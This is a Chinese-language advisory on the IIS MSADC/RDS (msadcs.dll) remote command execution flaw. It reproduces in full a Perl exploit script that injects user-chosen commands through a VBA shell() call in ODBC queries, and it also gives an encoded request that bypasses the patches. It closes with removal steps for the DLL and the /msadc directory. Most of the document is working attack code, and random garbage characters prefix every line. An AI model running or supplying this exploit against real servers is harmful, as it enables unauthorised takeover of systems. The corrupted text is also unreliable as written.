IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
79W^;\3 o?hr>b 涉及程序:
II}M|qHaK Microsoft NT server
iP"sw0V8 .E}lAd.Mn 描述:
I"vkfi#= 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
;ISnI T TN!$?G3 详细:
.Lna\Bv 如果你没有时间读详细内容的话,就删除:
eOE*$pH c:\Program Files\Common Files\System\Msadc\msadcs.dll
2icQ (H; 有关的安全问题就没有了。
e@W+ehx" M
lR~`B}m 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
/z*Z+OT2 WXY'%G 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
* /n8T]s 关于利用ODBC远程漏洞的描述,请参看:
|50sGJE( wqF?o http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4v hz`1 8$
u"92 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
h7UNmwj http://www.microsoft.com/security/bulletins/MS99-025faq.asp N8dxgh!, ?l^Xauk4Pj 这里不再论述。
"
L`)^ Jq'8" 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
_o$jk8jOjW nOL"6%q /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
mnsl$H_4S 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
XAU%B-l: I1U2wD ?Z7QD8N
#将下面这段保存为txt文件,然后: "perl -x 文件名"
$0E+8xE }Pg}"fb^ #!perl
bH e'
U> #
]2wxqglh) # MSADC/RDS 'usage' (aka exploit) script
#Or;"}P>fB #
ujX;wGje # by rain.forest.puppy
V^5d5Ao #
k_=yb^6[U # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Ptv'.<- # beta test and find errors!
T+F]hv' Qw}1q!89 use Socket; use Getopt::Std;
!ka* rd getopts("e:vd:h:XR", \%args);
!B}9gT 3uqhYT; print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Ww2@!ng Lz'VQO1U= if (!defined $args{h} && !defined $args{R}) {
*7jz(iX print qq~
QS&B"7;g Usage: msadc.pl -h <host> { -d <delay> -X -v }
rTIu' -h <host> = host you want to scan (ip or domain)
bItcF$#!!! -d <seconds> = delay between calls, default 1 second
VWvSt C -X = dump Index Server path table, if available
LZRg%3.E -v = verbose
Y"GNJtsL " -e = external dictionary file for step 5
n|~y
>w4 zXn-E Or a -R will resume a command session
PC#^L$cg} #_wq#rF ~; exit;}
,|({[9jA -Lh7!d $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
TJO$r6& if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
tX{yR'Qhu if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
##7y|AwK if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
6:7[>|okQ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
3 !@ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
lD/9:@q\V k2U*dn"9U if (!defined $args{R}){ $ret = &has_msadc;
!mmMAsd, die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
,yYcjs!=o 147QB+cE print "Please type the NT commandline you want to run (cmd /c assumed):\n"
I+8n;I)]X . "cmd /c ";
YA4 D?' $in=<STDIN>; chomp $in;
j<B9$8x& $command="cmd /c " . $in ;
2X?GEO]/4 ~|V^IJZ22 if (defined $args{R}) {&load; exit;}
mLX/xM/T?/ ;.A}c)b print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
{ qNPhi &try_btcustmr;
u5(8k_7 0ns\:2)cEB print "\nStep 2: Trying to make our own DSN...";
ysW})#7X &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
=:-fK-d
Q.g/ print "\nStep 3: Trying known DSNs...";
Lgg,K//g &known_dsn;
fK J-/{| /<J(\;Jr6 print "\nStep 4: Trying known .mdbs...";
k6(7G@@} &known_mdb;
g^'h4qOa z0[XI 7KK if (defined $args{e}){
jx: IK print "\nStep 5: Trying dictionary of DSN names...";
52w@.] &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
k?+ 7%A] [n2B6Px print "Sorry Charley...maybe next time?\n";
N~v6K}`} exit;
!_S#8" vrnvv?HPrR ##############################################################################
^3;B4tj[ /Z:j:l sub sendraw { # ripped and modded from whisker
bdg6B7%Q sleep($delay); # it's a DoS on the server! At least on mine...
`q^#u my ($pstr)=@_;
C= ~c`V5>r socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
IiU> VLa die("Socket problems\n");
AUnfhk@$ if(connect(S,pack "SnA4x8",2,80,$target)){
(Xd8'-G$m select(S); $|=1;
Eb8pM>'qM print $pstr; my @in=<S>;
7oE0;' select(STDOUT); close(S);
;8s L return @in;
H+v&4} f } else { die("Can't connect...\n"); }}
77P\:xc \T7Mt|f:5 ##############################################################################
J]F&4O !GcBNQ1p+7 sub make_header { # make the HTTP request
*_(X$qfoW my $msadc=<<EOT
nBh+UT} POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Ez3fL&* User-Agent: ACTIVEDATA
o`bch?] Host: $ip
qE[S>/R" Content-Length: $clen
I'/3_AX Connection: Keep-Alive
+jm,nM9 n(:<pz ADCClientVersion:01.06
b9bIvjm_ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
{)[o*+9 5^B79A"} --!ADM!ROX!YOUR!WORLD!
V;M_Y$`Lh Content-Type: application/x-varg
3BFOZV+ Content-Length: $reqlen
e &6 %
|Y9>kXM l EOT
^HKXm#vAB ; $msadc=~s/\n/\r\n/g;
aJu&h2G return $msadc;}
iC"iR\Qu "Xq_N4 ##############################################################################
n;g'?z=hy ~Amq1KU*Z sub make_req { # make the RDS request
"+HJ/8Dd1 my ($switch, $p1, $p2)=@_;
e4z`:%vy my $req=""; my $t1, $t2, $query, $dsn;
6Yu:v Obs#2>h if ($switch==1){ # this is the btcustmr.mdb query
djd/QAfSC $query="Select * from Customers where City=" . make_shell();
9vI~vl l $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
-ng1RA> $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
!/FRL<mp R\j~X@vI elsif ($switch==2){ # this is general make table query
/*0t_ $query="create table AZZ (B int, C varchar(10))";
Kk3+ ]W< $dsn="$p1";}
I2[U #4n !T6R[ elsif ($switch==3){ # this is general exploit table query
`4Yo-@iVP $query="select * from AZZ where C=" . make_shell();
X\^nV $dsn="$p1";}
oC0ndp~+& X9x`i elsif ($switch==4){ # attempt to hork file info from index server
|iM,bs $query="select path from scope()";
c=!>m $dsn="Provider=MSIDXS;";}
WAu>p3
%M6OLq!K elsif ($switch==5){ # bad query
HDe\Oty_ $query="select";
DiJLWXs $dsn="$p1";}
Q,U0xGGz zsL@0]e& $t1= make_unicode($query);
V_7\VKR $t2= make_unicode($dsn);
c_8&4 $req = "\x02\x00\x03\x00";
&
3#7>oQ $req.= "\x08\x00" . pack ("S1", length($t1));
[WwoGg*)mn $req.= "\x00\x00" . $t1 ;
09kR2(nsW/ $req.= "\x08\x00" . pack ("S1", length($t2));
n0(Q/ $req.= "\x00\x00" . $t2 ;
H 0l1=y $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
w h$bDTCj return $req;}
l\<.*6r *22Vc2[i; ##############################################################################
w~Tg?RH: xSY"Ru sub make_shell { # this makes the shell() statement
yw1&I^7 return "'|shell(\"$command\")|'";}
B[b>T= Wjb_H
(D ##############################################################################
!%>RHh[ W+h2 rv sub make_unicode { # quick little function to convert to unicode
*EWWN?d my ($in)=@_; my $out;
zWY988fX0 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
6tKrR{3#A return $out;}
abo=v<mR \|=6<ZY: ##############################################################################
;;0'BdsL` (W}F\P sub rdo_success { # checks for RDO return success (this is kludge)
omE- c my (@in) = @_; my $base=content_start(@in);
! M^O\C) if($in[$base]=~/multipart\/mixed/){
"U\RN return 1 if( $in[$base+10]=~/^\x09\x00/ );}
4]o+)d.`( return 0;}
s9Hxiw@D C4+DZ<pE ##############################################################################
7^dr[.Q[* {&5lZ<nu8A sub make_dsn { # this makes a DSN for us
] Q5:JV my @drives=("c","d","e","f");
\jfK']P/H print "\nMaking DSN: ";
/U;j-m& foreach $drive (@drives) {
]az(w&vqg2 print "$drive: ";
IkCuw./ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"6B@V=d "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
T^v763% . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
PaCCUF $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
JK$3qUDnI return 0 if $2 eq "404"; # not found/doesn't exist
"&6vFm r if($2 eq "200") {
wf8{v foreach $line (@results) {
YBt=8`r return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
J(]|)?x2 } return 0;}
kL8rqv^ 9c@M(U@Yh ##############################################################################
w;'XqpP$*| ~?\U];l sub verify_exists {
q?!HzZ my ($page)=@_;
uu6 JZp my @results=sendraw("GET $page HTTP/1.0\n\n");
=gVMt return $results[0];}
jQ{ @ol}n BUXE
s0]Lv ##############################################################################
q T6y& ZJDV'mC} sub try_btcustmr {
q`xc h[H my @drives=("c","d","e","f");
v>8.TE~2 my @dirs=("winnt","winnt35","winnt351","win","windows");
{4g'; 3x~7N foreach $dir (@dirs) {
Wga2).j6 print "$dir -> "; # fun status so you can see progress
x,gk]C f foreach $drive (@drives) {
_dKMBcl)E print "$drive: "; # ditto
?%,LZw^[ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
T5:Q_o] $reqlenlen=length( "$reqlen" );
|Y3w6 !$ $clen= 206 + $reqlenlen + $reqlen;
XvI~"} 9pLe8D my @results=sendraw(make_header() . make_req(1,$drive,$dir));
x Lan1V if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
]0UYxv%] else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
$@PruY3[ !v8R( ##############################################################################
Q.N!b7r7 4R'CLN
|t sub odbc_error {
iT'doF my (@in)=@_; my $base;
5}%R my $base = content_start(@in);
#)'Iqaq7 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
)LGVR3# $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
d6n_Hpxw^ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
xJ>5 ol $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/EjXyrn2 return $in[$base+4].$in[$base+5].$in[$base+6];}
coXg]bUKo print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
gX"-3w print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
\c2x
udU $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
#D9.A7fCc5 \,13mB6 ##############################################################################
i^DMnvV. [FBS|v#T sub verbose {
NK0'\~7& my ($in)=@_;
7r;16" return if !$verbose;
6{6hz8 print STDOUT "\n$in\n";}
'V]C.`9c (WHgB0{ ##############################################################################
OlT8pG5Oa L\#YFf sub save {
>6S7#)0T my ($p1, $p2, $p3, $p4)=@_;
eha|cAq open(OUT, ">rds.save") || print "Problem saving parameters...\n";
+u|"q+p print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Jl_W6gY"Z close OUT;}
L6h<B
:l Z5t^D| ##############################################################################
_y4O2n[e d5^^h<' sub load {
ei-\t
qY_ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(_ G>dP_ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
E0!d c @p=<IN>; close(IN);
[q|W*[B:@ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
~dS15E4-Pp $target= inet_aton($ip) || die("inet_aton problems");
#scZP print "Resuming to $ip ...";
PhyIea $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
/ZyMD(_J if($p[1]==1) {
,lH
}Ba02F $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
GL?b!4xx $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
{&+M.Xn my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
'I>USl3 hI if (rdo_success(@results)){print "Success!\n";}
cF
5|Pf else { print "failed\n"; verbose(odbc_error(@results));}}
|$\K/]q- elsif ($p[1]==3){
1["i,8zB if(run_query("$p[3]")){
254V)(t^QM print "Success!\n";} else { print "failed\n"; }}
\-yI
dKj elsif ($p[1]==4){
].s;Yxz if(run_query($drvst . "$p[3]")){
b? o print "Success!\n"; } else { print "failed\n"; }}
lk>\6o: exit;}
O14QlIk r#OPW7mhE ##############################################################################
.e7tq\k uE.BB# sub create_table {
_M%>Q m my ($in)=@_;
jfG of* $reqlen=length( make_req(2,$in,"") ) - 28;
{wC*61@1 $reqlenlen=length( "$reqlen" );
G4'Ia$ $clen= 206 + $reqlenlen + $reqlen;
pa46,q&M my @results=sendraw(make_header() . make_req(2,$in,""));
x`g,>>&C return 1 if rdo_success(@results);
$z[S0C m my $temp= odbc_error(@results); verbose($temp);
Z3JUYEAS return 1 if $temp=~/Table 'AZZ' already exists/;
JuSS(dJw return 0;}
v#x`c_ <8}FsRr;J ##############################################################################
^i|R6oO_5 %W~w\mT sub known_dsn {
SVo ?o|< # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
x/?ET1iGt my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
) (YNNu "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
l7g'z'G "banner", "banners", "ads", "ADCDemo", "ADCTest");
~vA{I%z5~ -gvfz&Lz foreach $dSn (@dsns) {
?#w} S% print ".";
v \i"-KH next if (!is_access("DSN=$dSn"));
OTF/Pu$ if(create_table("DSN=$dSn")){
l_}d Q&R print "$dSn successful\n";
*b>RUESF if(run_query("DSN=$dSn")){
t.8r~2(? print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
V22z-$cb print "Something's borked. Use verbose next time\n";}}} print "\n";}
QdgJNT<=H, ;mEn@@{ ##############################################################################
O q$_ q UF7h{V}) sub is_access {
f|,Kh1{e my ($in)=@_;
{_N9<i{T $reqlen=length( make_req(5,$in,"") ) - 28;
wPM&N@Pf $reqlenlen=length( "$reqlen" );
s)- ;74( $clen= 206 + $reqlenlen + $reqlen;
O2 >c|=# my @results=sendraw(make_header() . make_req(5,$in,""));
5TJd9:\Af my $temp= odbc_error(@results);
o6vnl verbose($temp); return 1 if ($temp=~/Microsoft Access/);
opa}z-7>^ return 0;}
+51heuu[o )'~Jsg- ##############################################################################
aqEZhMy fk,Vry sub run_query {
b=r 3WkB6 my ($in)=@_;
+vy fhw4 $reqlen=length( make_req(3,$in,"") ) - 28;
FGi7KV=N $reqlenlen=length( "$reqlen" );
U5kKT.M $clen= 206 + $reqlenlen + $reqlen;
['o ueOg my @results=sendraw(make_header() . make_req(3,$in,""));
{3x>kRaKci return 1 if rdo_success(@results);
l
L;5*@
my $temp= odbc_error(@results); verbose($temp);
vu0Ue return 0;}
:e7\z <-k! ##############################################################################
C7S\4rDJ ASHU0v sub known_mdb {
'?Dxe
B my @drives=("c","d","e","f","g");
u79- B-YW^ my @dirs=("winnt","winnt35","winnt351","win","windows");
f(pq`v^-n my $dir, $drive, $mdb;
?5EH/yV; my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
=|-=4.b+| J-
S.m( # this is sparse, because I don't know of many
;(?tlFc my @sysmdbs=( "\\catroot\\icatalog.mdb",
T^7Cv{[ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
s21}
a,eB "\\system32\\certmdb.mdb",
^($'l)I "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
xuvW6Q; G{!er:Vwdh my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
jTR?!Mt0 "\\cfusion\\cfapps\\forums\\forums_.mdb",
D#LV&4e>.E "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
r>fGj\#R = "\\cfusion\\cfapps\\security\\realm_.mdb",
{]+t< "\\cfusion\\cfapps\\security\\data\\realm.mdb",
aB6xRn9 "\\cfusion\\database\\cfexamples.mdb",
ULAr! "\\cfusion\\database\\cfsnippets.mdb",
jn5xYKv "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
0FOB5eBR "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
U|3!ixk>>w "\\cfusion\\brighttiger\\database\\cleam.mdb",
Nhs!_-_I "\\cfusion\\database\\smpolicy.mdb",
dLp1l2h!0 "\\cfusion\\database\cypress.mdb",
tfU*U>j "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
]zlA<w8 "\\website\\cgi-win\\dbsample.mdb",
hiS|&5# "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
E@ :9|5 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
U=bx30brh% ); #these are just
~gpxK{ foreach $drive (@drives) {
Kd-1EU foreach $dir (@dirs){
) bFl- foreach $mdb (@sysmdbs) {
yus3GqPI print ".";
N;
}$!sNIm if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
ZwDL print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
lfj5?y if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
OL
0YjU@ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
fF)Q;~_VA } else { print "Something's borked. Use verbose next time\n"; }}}}}
-!XG>Z R->x_9y-R foreach $drive (@drives) {
|4mvB2r foreach $mdb (@mdbs) {
=#u4^%i) print ".";
-i8KJzPL f if(create_table($drv . $drive . $dir . $mdb)){
,m<YSMKX print "\n" . $drive . $dir . $mdb . " successful\n";
/u$'=!<b; if(run_query($drv . $drive . $dir . $mdb)){
==[(Mn,%d print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
KdCrI@^ } else { print "Something's borked. Use verbose next time\n"; }}}}
X d+H()nR }
vb=]00c ~Y/A]N86, ##############################################################################
tA#$q;S *|=D 0 sub hork_idx {
kK=VG<
:M print "\nAttempting to dump Index Server tables...\n";
;}+M2Ec51 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
8@rYT5e3c $reqlen=length( make_req(4,"","") ) - 28;
ceG\Q2 $reqlenlen=length( "$reqlen" );
zufphS| $clen= 206 + $reqlenlen + $reqlen;
y5sH7`2+5 my @results=sendraw2(make_header() . make_req(4,"",""));
.~o{i_JH if (rdo_success(@results)){
eaFkDl my $max=@results; my $c; my %d;
hTDGgSG^ for($c=19; $c<$max; $c++){
I:jIChT $results[$c]=~s/\x00//g;
naaKAZ!S $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
|<c9ZS+ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
,7s>#b' $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
w<H Xe $d{"$1$2"}="";}
qO"QSSbZqQ foreach $c (keys %d){ print "$c\n"; }
G^ GIHdo } else {print "Index server doesn't seem to be installed.\n"; }}
U(f@zGV nG'Yo8I^5 ##############################################################################
B!Wp=9)G X)!XR/? sub dsn_dict {
r^
Dm|^f# open(IN, "<$args{e}") || die("Can't open external dictionary\n");
CC=I|/mBM while(<IN>){
>\1twd{u] $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
,w~3K%B4 next if (!is_access("DSN=$dSn"));
1x_EAHZ>7 if(create_table("DSN=$dSn")){
U:*rlA@_. print "$dSn successful\n";
:Vxt2@p{ if(run_query("DSN=$dSn")){
fDs T@W,K print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Bb=r?;zjO print "Something's borked. Use verbose next time\n";}}}
lf`ULY4{ print "\n"; close(IN);}
E.*hY+kGZ vt5w(}v( ##############################################################################
wG)e8,# sc]#T)xG sub sendraw2 { # ripped and modded from whisker
qefp3&ls sleep($delay); # it's a DoS on the server! At least on mine...
Gt*<Awn8 my ($pstr)=@_;
fZ-"._9UyH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%$ya>0?mq die("Socket problems\n");
N 8[rWJ# if(connect(S,pack "SnA4x8",2,80,$target)){
X}Q4;='C- print "Connected. Getting data";
W_wC"?A% open(OUT,">raw.out"); my @in;
\NNA" select(S); $|=1; print $pstr;
eA1g}ipm while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
~+' f[!^ close(OUT); select(STDOUT); close(S); return @in;
2-'_Nwkl* } else { die("Can't connect...\n"); }}
>IS4 _-vlN ##############################################################################
;:=j{,&dl[ _AF$E"f@ sub content_start { # this will take in the server headers
a>vxox) % my (@in)=@_; my $c;
2e\"?y OD for ($c=1;$c<500;$c++) {
Yuv=<V if($in[$c] =~/^\x0d\x0a/){
_zDS-e@ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Tp-W/YC else { return $c+1; }}}
,C6( return -1;} # it should never get here actually
8d*S9p,/ r#WqXh_uk ##############################################################################
@2"uJ6o Ct `)R sub funky {
O h
e^{: my (@in)=@_; my $error=odbc_error(@in);
(.$$U3\ if($error=~/ADO could not find the specified provider/){
5{yg print "\nServer returned an ADO miscofiguration message\nAborting.\n";
}$<v exit;}
Z><+4
' if($error=~/A Handler is required/){
C5(XZscq print "\nServer has custom handler filters (they most likely are patched)\n";
#fF5O2E'3 exit;}
Vl$RMW@Ds if($error=~/specified Handler has denied Access/){
~EmK;[Z print "\nServer has custom handler filters (they most likely are patched)\n";
|\Gkhi>; exit;}}
N$>Ml!J j?C[ids< ##############################################################################
J <z
^C $E[O}+L$# sub has_msadc {
]A[}:E 5} my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
M+")*Opq my $base=content_start(@results);
Wg %] return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
}'vQUGu8z return 0;}
cl`kd)"v /mJb$5=1 ########################
r2f%E:-0G \#biwX 8cfsl lI 解决方案:
n=b!c@f4 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
$~q{MX&J 2、移除web 目录: /msadc